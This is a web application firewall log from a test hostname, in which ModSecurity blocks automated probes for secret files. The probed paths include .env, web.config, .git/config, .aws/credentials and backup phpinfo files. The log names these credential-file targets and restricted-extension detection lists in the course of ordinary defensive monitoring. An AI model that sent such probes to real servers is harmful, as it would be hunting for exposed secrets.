[Wed Feb 25 06:05:45.136723 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web-dist/.env&quot;] [unique_id &quot;aZ6DKbZegw_qLbSTRXm6PwAAAAM&quot;]
[Wed Feb 25 06:05:45.204198 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /theme_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-BAAAAAE&quot;]
[Wed Feb 25 06:05:45.204496 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-BAAAAAE&quot;]
[Wed Feb 25 06:05:45.204705 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-BAAAAAE&quot;]
[Wed Feb 25 06:05:45.215687 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aZ6DKbZegw_qLbSTRXm6QAAAAAM&quot;]
[Wed Feb 25 06:05:45.215984 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aZ6DKbZegw_qLbSTRXm6QAAAAAM&quot;]
[Wed Feb 25 06:05:45.216291 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aZ6DKbZegw_qLbSTRXm6QAAAAAM&quot;]
[Wed Feb 25 06:05:45.216464 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aZ6DKbZegw_qLbSTRXm6QAAAAAM&quot;]
[Wed Feb 25 06:05:45.275586 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /thumb/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-BQAAAAE&quot;]
[Wed Feb 25 06:05:45.275878 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-BQAAAAE&quot;]
[Wed Feb 25 06:05:45.276065 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-BQAAAAE&quot;]
[Wed Feb 25 06:05:45.305166 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /thumbs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-BgAAAAE&quot;]
[Wed Feb 25 06:05:45.305455 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-BgAAAAE&quot;]
[Wed Feb 25 06:05:45.305642 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-BgAAAAE&quot;]
[Wed Feb 25 06:05:45.435751 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tiedostot/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-BwAAAAE&quot;]
[Wed Feb 25 06:05:45.436036 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-BwAAAAE&quot;]
[Wed Feb 25 06:05:45.436255 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-BwAAAAE&quot;]
[Wed Feb 25 07:42:06.340658 2026] [:error] [pid 2312879] [client 13.218.164.89:44964] [client 13.218.164.89] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ6ZvmXxsr5IXP-ltRibfgAAAAA&quot;]
[Wed Feb 25 07:42:06.340935 2026] [:error] [pid 2312879] [client 13.218.164.89:44964] [client 13.218.164.89] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ6ZvmXxsr5IXP-ltRibfgAAAAA&quot;]
[Wed Feb 25 07:42:06.341104 2026] [:error] [pid 2312879] [client 13.218.164.89:44964] [client 13.218.164.89] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ6ZvmXxsr5IXP-ltRibfgAAAAA&quot;]
[Wed Feb 25 11:52:52.596933 2026] [:error] [pid 2312957] [client 195.250.31.127:32084] [client 195.250.31.127] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ7UhIv6AM5Bs3q_JQDZRgAAAAc&quot;]
[Wed Feb 25 11:52:52.597203 2026] [:error] [pid 2312957] [client 195.250.31.127:32084] [client 195.250.31.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ7UhIv6AM5Bs3q_JQDZRgAAAAc&quot;]
[Wed Feb 25 11:52:52.597436 2026] [:error] [pid 2312957] [client 195.250.31.127:32084] [client 195.250.31.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aZ7UhIv6AM5Bs3q_JQDZRgAAAAc&quot;]
[Thu Feb 26 01:02:39.537059 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aZ-Nn5qP6Uim1aZiP_g3sgAAAAY&quot;]
[Thu Feb 26 01:02:39.537606 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aZ-Nn5qP6Uim1aZiP_g3sgAAAAY&quot;]
[Thu Feb 26 01:02:39.537752 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aZ-Nn5qP6Uim1aZiP_g3sgAAAAY&quot;]
[Thu Feb 26 01:02:40.400010 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3xwAAAAY&quot;]
[Thu Feb 26 01:02:40.400287 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3xwAAAAY&quot;]
[Thu Feb 26 01:02:40.400450 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3xwAAAAY&quot;]
[Thu Feb 26 01:02:40.539879 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3ygAAAAY&quot;]
[Thu Feb 26 01:02:40.540431 2026] [:error] [pid 2331047] [client 185.177.72.22:9408] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.bak&quot;] [unique_id &quot;aZ-NoJqP6Uim1aZiP_g3ygAAAAY&quot;]
